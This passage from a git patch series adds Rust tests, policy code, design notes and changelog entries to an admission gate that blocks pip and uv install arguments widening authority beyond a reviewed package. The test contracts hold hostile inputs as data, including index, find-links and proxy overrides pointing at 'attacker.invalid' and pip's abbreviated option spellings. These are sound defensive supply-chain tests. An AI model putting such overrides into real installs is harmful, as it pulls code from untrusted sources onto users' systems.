&["-chttps://x.invalid/c.txt"]), + ("pip3", &["-c", "https://x.invalid/c.txt"]), + ("pip", &["--build-constraint=https://x.invalid/b.txt"]), + ("pip", &["--build-constraint", "https://x.invalid/b.txt"]), + ("uv", &["--constraint=https://x.invalid/c.txt"]), + ("uv", &["--constraint", "https://x.invalid/c.txt"]), + ("uv", &["--constraints=https://x.invalid/c.txt"]), + ("uv", &["--constraints", "https://x.invalid/c.txt"]), + ("uv", &["-chttps://x.invalid/c.txt"]), + ("uv", &["-c", "https://x.invalid/c.txt"]), + ("uv", &["--build-constraint=https://x.invalid/b.txt"]), + ("uv", &["--build-constraint", "https://x.invalid/b.txt"]), + ("uv", &["--build-constraints=https://x.invalid/b.txt"]), + ("uv", &["-bhttps://x.invalid/b.txt"]), + ("uv", &["-b", "https://x.invalid/b.txt"]), + ]; + + for (executable, arguments) in cases { let (policy, mut intent) = approved_pypi_install(executable); - intent.argv.push(flag.to_string()); + intent + .argv + .extend(arguments.iter().map(|argument| (*argument).to_string())); let decision = admission_decision(&policy, &intent); + let invocation = arguments.join(" "); assert_eq!( decision.decision, DecisionKind::Block, - "{executable} {flag} must not let an unreviewed constraints document influence the approved artifact/build identity" + "{executable} {invocation} must not let an unreviewed constraints document influence the approved artifact/build identity" ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "artifact_not_approved"), - "{executable} {flag} must report that the external constraint authority is outside the reviewed artifact set" + "{executable} {invocation} must report that the external constraint authority is outside the reviewed artifact set" ); } } From 82e1e28ef1671c023d82437d97bfb078e3db0ff0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:39:14 +0900 Subject: [PATCH 406/702] test(security): reject unreviewed pip dependency groups --- ...pip_dependency_group_authority_contract.rs | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs b/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs new file mode 100644 index 00000000..157c7c7d --- /dev/null +++ b/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs @@ -0,0 +1,97 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pip_install_cannot_import_unreviewed_dependency_group() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push("--group=developer-tools".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --group must not add pyproject dependency-group members outside the reviewed artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} --group must report that dependency-group members are outside reviewed artifact authority" + ); + } +} + +#[test] +fn exact_pip_install_without_dependency_group_remains_allowed() { + for executable in ["pip", "pip3"] { + let (policy, intent) = approved_pip_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-reviewed-artifact-authority".to_string(), + policy_revision: "2026-09-11.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let intent = InstallIntent { + request_id: format!("req-pip-dependency-group-authority-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 0002ee2ba1fdcdaaf6f89b5377eb3526c9769825 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:41:52 +0900 Subject: [PATCH 407/702] fix(security): bound pip dependency-group authority --- .../src/pypi_dependency_group_authority.rs | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs b/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs new file mode 100644 index 00000000..b59de3eb --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs @@ -0,0 +1,27 @@ +use crate::InstallIntent; + +/// Return whether direct pip-family install argv imports requirements from a +/// dependency group that is not represented by the reviewed artifact set. +pub(crate) fn requests_unapproved_pip_dependency_group(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().any(|argument| { + argument == "--group" + || argument + .strip_prefix("--group") + .is_some_and(|suffix| suffix.starts_with('=')) + }) +} From ef0808d88fd34a192e1f61958af14e4e688f94b5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:42:16 +0900 Subject: [PATCH 408/702] fix(security): enforce reviewed pip dependency groups --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 9abcdbf7..6c2d6f1a 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -12,6 +12,7 @@ mod oci_transport; mod policy; mod pypi_cache_directory_authority; mod pypi_constraint_authority; +mod pypi_dependency_group_authority; mod pypi_hash_mode; mod pypi_install_mutation_authority; mod pypi_install_report_authority; @@ -105,6 +106,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_dependency_group_authority::requests_unapproved_pip_dependency_group(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if pypi_hash_mode::requests_disabled_hash_requirement(intent) { if !decision .reason_codes From cbd44a465fe79ceb3466ee9afb0cbca6c5bbe7f8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:42:30 +0900 Subject: [PATCH 409/702] docs(security): trace pip dependency-group authority --- .../pip-dependency-group-authority.md | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 docs/doctoring/pip-dependency-group-authority.md diff --git a/docs/doctoring/pip-dependency-group-authority.md b/docs/doctoring/pip-dependency-group-authority.md new file mode 100644 index 00000000..02b051ff --- /dev/null +++ b/docs/doctoring/pip-dependency-group-authority.md @@ -0,0 +1,26 @@ +# pip dependency-group authority + +## Decision + +Wardnet's Agent Artifact Admission boundary rejects `pip install` and `pip3 install` requests that add `--group`. The reviewed install intent binds an exact artifact set; a dependency group imports a list of requirements from `pyproject.toml`, optionally from another project path, and therefore represents artifact-selection authority outside that reviewed set. + +Both `--group=` and the separate-value form fail closed with `artifact_not_approved`. The attached-value form is security-significant because it is not an extra positional operand and therefore cannot rely on generic operand-cardinality rejection. + +Wardnet does not read `pyproject.toml`, resolve or fetch dependency-group members, execute pip, authorize network egress, or own filesystem/runtime isolation. It only rejects structured installer argv that attempts to widen reviewed artifact authority. Runtime execution and isolation remain downstream canonical-owner responsibilities. + +## RED / GREEN evidence contract + +The hostile regression uses an otherwise admissible exact PyPI artifact request with `--require-hashes`, `--no-deps`, and `--no-input`, then appends `--group=developer-tools`. The test-only head must demonstrate semantic RED after successful checkout/formatting. The minimum production repair recognizes `--group` only for direct `pip install` / `pip3 install` grammar and preserves the exact direct install control path. + +Acceptance requires: + +- attached and separate `--group` spellings fail closed; +- `pip` and `pip3` are covered; +- an exact direct install with no dependency-group authority remains allowed when all other policy invariants hold; +- no pyproject discovery, dependency resolution, package retrieval, transport enforcement, or quarantine logic is copied into Wardnet. + +## Traceability + +Python Packaging Authority. (2026). *pip install — pip documentation*. https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Packaging Authority. (2026). *User guide: Dependency Groups*. https://pip.pypa.io/en/latest/user_guide/#dependency-groups From 5c7294e07209804c57e7331a74afb944abf68300 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:42:54 +0900 Subject: [PATCH 410/702] test(security): cover pip dependency-group option forms --- ...pip_dependency_group_authority_contract.rs | 39 ++++++++++++------- 1 file changed, 24 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs b/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs index 157c7c7d..196f3f12 100644 --- a/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pip_dependency_group_authority_contract.rs @@ -10,23 +10,32 @@ const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] fn pip_install_cannot_import_unreviewed_dependency_group() { for executable in ["pip", "pip3"] { - let (policy, mut intent) = approved_pip_install(executable); - intent.argv.push("--group=developer-tools".to_string()); + for arguments in [ + &["--group=developer-tools"][..], + &["--group", "developer-tools"][..], + &["--group=./subproject/pyproject.toml:developer-tools"][..], + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent + .argv + .extend(arguments.iter().map(|argument| (*argument).to_string())); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); + let invocation = arguments.join(" "); - assert_eq!( - decision.decision, - DecisionKind::Block, - "{executable} --group must not add pyproject dependency-group members outside the reviewed artifact set" - ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "artifact_not_approved"), - "{executable} --group must report that dependency-group members are outside reviewed artifact authority" - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {invocation} must not add pyproject dependency-group members outside the reviewed artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {invocation} must report that dependency-group members are outside reviewed artifact authority" + ); + } } } From 35f540693b291695cf05956ce82df756e06c6a3c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 21:43:18 +0900 Subject: [PATCH 411/702] docs(security): record pip dependency-group hardening --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 00c9bb47..2d3ce20f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. - Bound PyPI dependency/build selection authority to the reviewed artifact set: caller-supplied pip `-c` / `--constraint` / `--build-constraint` and uv `-c` / `--constraint` / `--constraints` / `-b` / `--build-constraint` / `--build-constraints` documents fail closed as `artifact_not_approved`, including attached-value spellings that otherwise bypass positional-operand accounting. +- Bound pip dependency-group authority to the reviewed artifact set: caller-supplied `--group` for `pip install` / `pip3 install`, including explicit external `pyproject.toml` paths and attached-value spellings, fails closed as `artifact_not_approved` instead of importing unreviewed package requirements. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. From 91f3877f1a6be48222c1c2f9c438205f8e9ece54 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:01:53 +0900 Subject: [PATCH 412/702] test(admission): reject caller-selected PyPI sources --- .../pypi_artifact_source_identity_contract.rs | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index 5ec7a219..3349f29d 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -84,6 +84,63 @@ fn pypi_install_cannot_disable_reviewed_registry_index() { } } +#[test] +fn pypi_install_cannot_override_reviewed_registry_or_add_artifact_source() { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let hostile_source = "https://attacker.invalid/simple"; + + for (executable, source_option) in [ + ("pip", format!("--index-url={hostile_source}")), + ("pip3", format!("--extra-index-url={hostile_source}")), + ("pip", format!("--find-links={hostile_source}")), + ("uv", format!("--default-index={hostile_source}")), + ("uv", format!("--index={hostile_source}")), + ("uv", format!("--index-url={hostile_source}")), + ("uv", format!("--extra-index-url={hostile_source}")), + ("uv", format!("--find-links={hostile_source}")), + ] { + let mut policy = approved_pypi_policy(&artifact_argument); + policy.allowed_executables = vec![executable.to_string()]; + let mut intent = approved_pypi_intent(&artifact_argument); + intent.argv = match executable { + "pip" | "pip3" => vec![ + executable.to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + source_option.clone(), + ], + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + artifact_argument.clone(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + source_option.clone(), + ], + _ => unreachable!("test executable set is closed"), + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} source selector {source_option:?} must not override the reviewed registry/source authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "caller-selected package sources must be classified as alternate trust/source authority: {:?}", + decision.reason_codes + ); + } +} + #[test] fn exact_pypi_index_name_and_version_remain_allowed() { let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); From e6c46585d04f7fdf595fcf438b793d1de06abc59 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:05:25 +0900 Subject: [PATCH 413/702] test(admission): expose abbreviated pip source override --- .../tests/pypi_artifact_source_identity_contract.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index 3349f29d..28d781ce 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -93,6 +93,9 @@ fn pypi_install_cannot_override_reviewed_registry_or_add_artifact_source() { ("pip", format!("--index-url={hostile_source}")), ("pip3", format!("--extra-index-url={hostile_source}")), ("pip", format!("--find-links={hostile_source}")), + ("pip", format!("--index-u={hostile_source}")), + ("pip3", format!("--extra-index-u={hostile_source}")), + ("pip", format!("--find-l={hostile_source}")), ("uv", format!("--default-index={hostile_source}")), ("uv", format!("--index={hostile_source}")), ("uv", format!("--index-url={hostile_source}")), From edefb8eff1473223cf1ec56f16da84bbb2881012 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:09:53 +0900 Subject: [PATCH 414/702] fix(admission): reject abbreviated pip source selectors --- .../src/pypi_registry_authority.rs | 73 ++++++++++++++++++- 1 file changed, 70 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_registry_authority.rs b/crates/agent-artifact-admission/src/pypi_registry_authority.rs index f780231e..094c8ea7 100644 --- a/crates/agent-artifact-admission/src/pypi_registry_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_registry_authority.rs @@ -1,7 +1,7 @@ use crate::InstallIntent; -/// Return whether a direct Python package install disables the exact reviewed -/// registry and can therefore inherit a different package-source authority. +/// Return whether a direct Python package install disables or replaces the exact +/// reviewed registry/source authority. pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -23,5 +23,72 @@ pub(crate) fn disables_reviewed_registry(intent: &InstallIntent) -> bool { return false; } - arguments.iter().any(|argument| argument == "--no-index") + arguments.iter().any(|argument| { + argument == "--no-index" + || (matches!(executable, "pip" | "pip3") + && requests_pip_source_selector_abbreviation(argument)) + }) +} + +/// pip's optparse-compatible CLI accepts unambiguous long-option prefixes. The +/// generic argv guard intentionally matches exact option names because other +/// installers do not share that grammar, so pip source selectors need their +/// accepted prefix forms classified here as the same trust-root authority. +fn requests_pip_source_selector_abbreviation(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + [ + ("--index-url", "--in"), + ("--extra-index-url", "--ext"), + ("--find-links", "--fi"), + ("--no-index", "--no-ind"), + ] + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + option.len() >= shortest_accepted_prefix.len() + && option != *canonical + && canonical.starts_with(option) + }) +} + +#[cfg(test)] +mod tests { + use super::requests_pip_source_selector_abbreviation; + + #[test] + fn pip_source_selector_abbreviations_are_bounded_to_accepted_prefixes() { + for option in [ + "--in=https://attacker.invalid/simple", + "--index-u=https://attacker.invalid/simple", + "--ext=https://attacker.invalid/simple", + "--extra-index-u=https://attacker.invalid/simple", + "--fi=https://attacker.invalid/simple", + "--find-l=https://attacker.invalid/simple", + "--no-ind", + ] { + assert!( + requests_pip_source_selector_abbreviation(option), + "accepted pip source-selector abbreviation must be classified: {option}" + ); + } + + for option in [ + "--i=https://attacker.invalid/simple", + "--ex=https://attacker.invalid/simple", + "--f=https://attacker.invalid/simple", + "--no-i", + "--index-url=https://attacker.invalid/simple", + "--extra-index-url=https://attacker.invalid/simple", + "--find-links=https://attacker.invalid/simple", + "--no-index", + "--no-deps", + ] { + assert!( + !requests_pip_source_selector_abbreviation(option), + "ambiguous, full, or unrelated option must not be classified as a pip abbreviation: {option}" + ); + } + } } From 38f39eaf5f8735b577df3c3a8ef7fd0425b488fd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:12:07 +0900 Subject: [PATCH 415/702] docs(admission): trace pip source abbreviation repair --- docs/doctoring/pypi-registry-authority.md | 30 +++++++++++++++-------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/docs/doctoring/pypi-registry-authority.md b/docs/doctoring/pypi-registry-authority.md index 54281d09..3d891273 100644 --- a/docs/doctoring/pypi-registry-authority.md +++ b/docs/doctoring/pypi-registry-authority.md @@ -1,27 +1,37 @@ # PyPI registry authority traceability -Verified 2026-09-11. This note narrows one Agent Artifact Admission invariant: a reviewed Python artifact coordinate includes its HTTPS registry, so submitted installer arguments may not disable that reviewed registry and inherit a different package-source authority. It does not extend Wardnet into runtime environment inspection or package retrieval. +Verified 2026-09-11. This note narrows one Agent Artifact Admission invariant: a reviewed Python artifact coordinate includes its HTTPS registry, so submitted installer arguments may not disable, replace, or add package-source authority outside that reviewed coordinate. It does not extend Wardnet into runtime environment inspection, network transport authorization, package retrieval, installation, or sandbox execution. ## Decision trace -The protected admission model already rejects caller-selected `--index-url`, `--extra-index-url`, `--index`, `--default-index`, and `--find-links` controls. The remaining gap was the inverse selector: both pip and uv expose `--no-index`, which disables registry-index lookup. pip documents that `--no-index` ignores the package index and looks only at `--find-links` locations. uv documents `no-index` as ignoring all registry indexes and relying on direct URL dependencies or `--find-links`. +The admission model rejects caller-selected `--index-url`, `--extra-index-url`, `--index`, `--default-index`, `--find-links`, and `--no-index` controls. pip documents that `--index-url` selects the base package index, `--extra-index-url` adds package indexes, `--find-links` adds candidate locations, and `--no-index` disables index lookup. Its current documentation also warns that `--extra-index-url` can create dependency-confusion exposure because candidate selection spans multiple locations. -A submitted `pip install` or `uv pip install` carrying `--no-index` therefore contradicts an approval whose artifact identity includes a reviewed registry URL. Wardnet now classifies that submitted command as `alternate_trust_root` and blocks it before execution. This is intentionally narrower than reproducing pip or uv configuration precedence. +The remaining gap was pip's parser grammar rather than a missing option name. pip's current CLI architecture uses `ConfigOptionParser`, whose parent is Python `optparse.OptionParser`. The live pip CLI accepts unambiguous long-option prefixes such as `--index-u=...`, `--extra-index-u=...`, and `--find-l=...`. Wardnet's generic option matcher deliberately recognizes exact long names because npm-family, uv, Cargo, and OCI clients do not share pip's parser grammar. Consequently, a caller could pair an otherwise approved `name==version` coordinate with an abbreviated pip source selector and bypass the submitted-intent source-authority check. -The execution boundary remains unchanged. `PIP_NO_INDEX`, `UV_NO_INDEX`, project/user configuration files, cache contents, filesystem state, and other effective runtime environment/configuration are not inspected by Wardnet. `quarantine-sandbox-runtime` remains the canonical owner of hostile execution/isolation and effective runtime environment/config authority. Wardnet evaluates only the structured submitted intent and emits admission policy/evidence. +Wardnet now handles that grammar only inside the PyPI registry-authority policy. For direct `pip install` and `pip3 install`, the policy classifies accepted prefixes of `--index-url`, `--extra-index-url`, `--find-links`, and `--no-index` as the same `alternate_trust_root` authority as their full spellings. uv retains its exact-option path. This keeps the repair causal and avoids broadening generic argv semantics for unrelated installers. + +The execution boundary remains unchanged. `PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, `PIP_FIND_LINKS`, `PIP_NO_INDEX`, project/user configuration files, cache contents, filesystem state, and other effective runtime environment/configuration are not inspected by Wardnet. `quarantine-sandbox-runtime` remains the canonical owner of hostile execution/isolation and effective runtime environment/config authority; EgressWeave remains the canonical executable outbound-transport authority. Wardnet evaluates only the structured submitted intent and emits admission policy/evidence. ## Evidence -- Hosted hostile RED `205567a0eb18069c7c72c6b2387107aab96db948`: `pypi_install_cannot_disable_reviewed_registry_index` observed `Allow` for a reviewed exact PyPI coordinate whose argv added `--no-index`. -- Minimum causal repair: `pypi_registry_authority::disables_reviewed_registry` recognizes only direct `pip`/`pip3 install` and `uv pip install` invocations carrying explicit `--no-index` authority, and the admission decision reuses stable `alternate_trust_root` evidence. -- The focused contract covers both pip and uv without reading environment variables, executing either package manager, fetching artifacts, or duplicating quarantine/EgressWeave responsibilities. +- Earlier hosted hostile RED `205567a0eb18069c7c72c6b2387107aab96db948`: `pypi_install_cannot_disable_reviewed_registry_index` observed `Allow` for a reviewed exact PyPI coordinate whose argv added full `--no-index`; the original minimum repair classified explicit `--no-index` as `alternate_trust_root`. +- Current hostile RED `e6c46585d04f7fdf595fcf438b793d1de06abc59`, CI run `34602358631`, job `103272504094`: checkout and formatting succeeded, then the exact admission contract failed because abbreviated pip source selectors were still admitted. +- Minimum causal repair `edefb8eff1473223cf1ec56f16da84bbb2881012`: `pypi_registry_authority` adds pip/pip3-only accepted-prefix classification while leaving uv and all other executable grammars on their existing exact-option paths. +- Exact repair GREEN: CI run `34602771562`, job `103273850396` completed SUCCESS on `edefb8eff1473223cf1ec56f16da84bbb2881012`; formatting, locked workspace tests, and Clippy all passed. +- The contract covers full and abbreviated source selectors without reading environment variables, executing a package manager, fetching artifacts, authorizing egress, or duplicating quarantine/EgressWeave responsibilities. ## Primary-source basis -pip 26.2.1 states that `--no-index` ignores the package index and that candidate discovery can otherwise include local filesystem and `--find-links` locations. uv's current settings reference states that `no-index` ignores all registry indexes and instead relies on direct URL dependencies and `--find-links`. These are package-source selection semantics, not installation-isolation semantics. +pip's current install documentation states that candidate discovery can use the configured base index, extra indexes, local filesystem, and `--find-links`, and warns that `--extra-index-url` is unsafe for private-package discovery because of dependency confusion. pip's current source tree defines these index/find-links options in `cmdoptions.py`. Its CLI architecture documents `ConfigOptionParser` as an `optparse.OptionParser` descendant, which is the parser behavior reproduced by the hostile contract. + +The security implication is bounded: the defect concerns submitted command authority, not whether a remote source is trustworthy after transport or whether retrieved bytes match the reviewed digest. Those latter controls remain with their canonical execution/transport/artifact-verification owners. ## APA 7 references -Astral Software, Inc. (2026). *Settings: uv documentation*. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/settings/ +Python Packaging Authority. (2026). *pip install: pip documentation v26.3.dev0*. Retrieved September 11, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Packaging Authority. (2026). *Command line interface architecture* [Source documentation, revision `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`]. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/docs/html/development/architecture/command-line-interface.rst + +Python Packaging Authority. (2026). *pip CLI option definitions* [Source code, revision `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`]. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py -pip developers. (2026). *pip install: pip documentation v26.2.1*. Retrieved September 11, 2026, from https://pip.pypa.io/en/stable/cli/pip_install/ +Python Software Foundation. (2026). *optparse — Parser for command line options* (Python 3.14.6 documentation). https://docs.python.org/3.14/library/optparse.html From bf23e9b02798523640c6e5b4bd3b6f302b49d0c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:18:21 +0900 Subject: [PATCH 416/702] test(admission): expose abbreviated pip proxy override --- .../tests/pypi_proxy_authority_contract.rs | 37 ++++++++++--------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index 7a24d182..1935511e 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -26,25 +26,28 @@ fn approved_pip_install_without_proxy_override_remains_allowed() { #[test] fn pip_proxy_override_cannot_inherit_artifact_approval() { for executable in ["pip", "pip3"] { - let (policy, mut intent) = approved_pip_install(executable); - intent - .argv - .push("--proxy=http://attacker.invalid:8080".to_string()); + for proxy_option in [ + "--proxy=http://attacker.invalid:8080", + "--prox=http://attacker.invalid:8080", + ] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(proxy_option.to_string()); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "{executable} must not let an approved artifact authorize a caller-selected proxy" - ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "attached proxy routing authority must be classified explicitly: {:?}", - decision.reason_codes - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not let accepted proxy selector {proxy_option:?} inherit approved artifact authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "proxy routing authority {proxy_option:?} must be classified explicitly: {:?}", + decision.reason_codes + ); + } } } From 228c5e8e752df5925fa022447f3075f869b124c3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 22:34:35 +0900 Subject: [PATCH 417/702] test(admission): cover separate pip proxy abbreviation --- .../tests/pypi_proxy_authority_contract.rs | 34 ++++++++++--------- 1 file changed, 18 insertions(+), 16 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index 1935511e..d6dd0569 100644 